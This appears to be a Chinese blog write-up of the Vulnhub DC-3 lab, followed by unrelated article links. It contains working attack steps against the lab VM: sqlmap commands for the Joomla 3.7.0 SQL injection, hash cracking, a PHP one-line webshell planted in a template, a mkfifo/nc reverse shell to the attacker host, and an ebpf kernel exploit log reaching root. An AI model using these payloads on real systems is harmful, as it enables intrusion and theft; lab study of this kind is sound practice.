当前位置: 首页 > news >正文

Vulnhub-DC-3

joomla3.7.0的提权
靶机IP:192.168.20.136
kaliIP:192.168.20.128
网络有问题的可以看下搭建Vulnhub靶机网络问题(获取不到IP)

信息收集

  1. 首先nmap扫端口和版本,dirsearch跑下目录,wappalyzer也可以用下
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    发现服务器用的ubuntu,JoomlaCMS等信息。
    还有个admin敏感目录(这个是joomla后台界面)。

漏洞利用

  1. 考虑Joomla漏洞
    有专门针对Joomla的漏扫工具joomscan
    kali apt install joomscan下载
    joomscan -u 192.168.20.136得到joomla的版本3.7.0
    去searchsploit看看有没有对应版本的漏洞
    在这里插入图片描述
    看到一个sql注入漏洞
    去目录查看txt/usr/share/exploitdb/exploits/php/webapps
    在这里插入图片描述
    给出了我们注入点和sqlmap命令,正常拿后台密码
    查看数据库
    sqlmap -u "http://192.168.20.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs
    查看joomladb的表
    sqlmap -u "http://192.168.20.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --tables
    查看users表的列
    sqlmap -u "http://192.168.20.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --columns -T "#__users" -D joomladb
    取值
    sqlmap -u "http://192.168.20.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --dump -C username,password -T "#__users" -D joomladb
    在这里插入图片描述
    拿到admin的密码不过是加密的,观察密文特征,搜素joomla3.7.0的加密方式发现为crypt(),这里可以用hashcat和john字典解密。
    hashcat使用教程
    hashcat -a 0 -m 3200 source.txt rockyou.txt
    source.txt中存的是密文
    在这里插入图片描述
    john
    在这里插入图片描述
    拿到admin后台密码snoopy,注意去后台路径登录
    这里有两种方式,一种是上传语言包(我这里下载语言包界面没东西)详情见joomla上传语言包提权
    第二种是修改joom网站提权我们可以直接编辑网站的源码。
    我们选择beez3模板,在index.php中直接加入一句话木马<?php $sl = create_function('', @$_REQUEST['klion']); $sl(); ?>
    (注意在Style中把default界面设置为beez3)
    在这里插入图片描述
    之后用蚁剑链接的时候要注意,这个后台界面解析不了首页的php,我们要打开网站的首页,已经变为beez3模板
    在这里插入图片描述
    拿蚁剑连接,
    在这里插入图片描述
    在这里插入图片描述

提权

ubuntu版本漏洞
lsb_release -a
uname -a查看版本

searchsploit 查找版本漏洞
在这里插入图片描述
去URL中找EXP,下载在攻击机,用python3 -m http.server 4444 开启一个简单http服务器。
wget http://192.168.20.128:4444/39772.zip
之后根据URL教程去执行就好
我这蚁剑出了个问题一直提权失败,之后用nc反弹shell到kali才提权成功了。
这个靶机nc没有-e参数用不了nc -e /bin/sh 192.168.20.128 6666
要用rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.128 6666 >/tmp/f
提权部分过程(find 输出太多留下有用部分了)

┌──(root㉿kali)-[/home/kali/Desktop/DC-3]
└─# nc -lvp 6666                  
listening on [any] 6666 ...
192.168.20.136: inverse host lookup failed: Host name lookup failure
connect to [192.168.20.128] from (UNKNOWN) [192.168.20.136] 54684
/bin/sh: 0: can't access tty; job control turned off
$ ls
39772
39772.zip
44300.zip
LICENSE.txt
README.txt
__MACOSX
administrator
bin
cache
cli
components
configuration.php
decr
decr.c
htaccess.txt
images
includes
index.php
language
layouts
libraries
media
modules
plugins
pwn
pwn.c
robots.txt.dist
templates
tmp
web.config.txt
$ cd 39772
$ ls
crasher.tar
ebpf_mapfd_doubleput_exploit
exploit.tar
$ cd ebpf_mapfd_doubleput_exploit
$ ls
compile.sh
doubleput
doubleput.c
fuse_mount
hello
hello.c
suidhelper
suidhelper.c
$ ./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast].insns = (__aligned_u64) insns,^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast].license = (__aligned_u64)""^
$ ./doubleput
fuse: mountpoint is not empty
fuse: if you are sure this is safe, use the 'nonempty' mount option
doubleput: system() failed
doubleput: child quit before we got a good file*
suid file detected, launching rootshell...
we have root privs now...id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
find / -name *flag*
/root/the-flag.txt
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/usr/lib/i386-linux-gnu/perl/5.22.1/bits/waitflags.phls
compile.sh
doubleput
doubleput.c
fuse_mount
hello
hello.c
suidhelper
suidhelper.c
cd /root
ls
the-flag.txt
cat the-flag.txt__        __   _ _   ____                   _ _ _ _ \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |\ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)Congratulations are in order.  :-)I hope you've enjoyed this challenge as I enjoyed making it.If there are any ways that I can improve these little challenges,
please let me know.As per usual, comments and complaints can be sent via Twitter to @DCAU7Have a great day!!!!

相关文章:

  • MAC系统下Xcode连接iOS真机实现iOS App自动化测试(上)
  • 如何在 Windows 上安装 MySQL(保姆级教程2024版)
  • 404 页面代码
  • Spring系统学习 -Spring IOC 的XML管理Bean之类类型属性赋值、数组类型属性赋值、集合类属性赋值
  • PFA三颈平底烧瓶500ML四氟反应瓶透明可视耐酸碱腐蚀可定制
  • python游标卡尺什么梗
  • 【CT】LeetCode手撕—手撕快排
  • Hadoop 2.0:主流开源云架构(三)
  • MYSQL之MVCC多版本并发控制实现原理
  • TQZC706开发板教程:10G光口arp测试
  • 第四章 Three.js 绘制基本几何体
  • web移动前端网页:深度剖析与未来展望
  • Ubuntu 设置开机启动脚本
  • 【Pytorch】计算机视觉项目——卷积神经网络TinyVGG模型图像分类(如何使用自定义数据集)
  • 【人工智能】第三部分:ChatGPT的应用场景和挑战
  • 【挥舞JS】JS实现继承,封装一个extends方法
  • 【译】理解JavaScript:new 关键字
  • 2017-08-04 前端日报
  • extract-text-webpack-plugin用法
  • github从入门到放弃(1)
  • Hexo+码云+git快速搭建免费的静态Blog
  • Java 网络编程(2):UDP 的使用
  • Java到底能干嘛?
  • JSDuck 与 AngularJS 融合技巧
  • Laravel 实践之路: 数据库迁移与数据填充
  • rc-form之最单纯情况
  • Storybook 5.0正式发布:有史以来变化最大的版本\n
  • vue-cli在webpack的配置文件探究
  • 分布式熔断降级平台aegis
  • 名企6年Java程序员的工作总结,写给在迷茫中的你!
  • 前端技术周刊 2018-12-10:前端自动化测试
  • 扫描识别控件Dynamic Web TWAIN v12.2发布,改进SSL证书
  • 使用 QuickBI 搭建酷炫可视化分析
  • 使用Gradle第一次构建Java程序
  • 使用putty远程连接linux
  • 我看到的前端
  • 我有几个粽子,和一个故事
  • 验证码识别技术——15分钟带你突破各种复杂不定长验证码
  • 一个JAVA程序员成长之路分享
  • 一个项目push到多个远程Git仓库
  • 异常机制详解
  • 优化 Vue 项目编译文件大小
  • linux 淘宝开源监控工具tsar
  • ​ssh免密码登录设置及问题总结
  • ​第20课 在Android Native开发中加入新的C++类
  • $Django python中使用redis, django中使用(封装了),redis开启事务(管道)
  • $L^p$ 调和函数恒为零
  • (pojstep1.3.1)1017(构造法模拟)
  • (多级缓存)缓存同步
  • (附源码)springboot 个人网页的网站 毕业设计031623
  • (附源码)springboot教学评价 毕业设计 641310
  • (论文阅读40-45)图像描述1
  • (五)c52学习之旅-静态数码管
  • (心得)获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列。
  • .dwp和.webpart的区别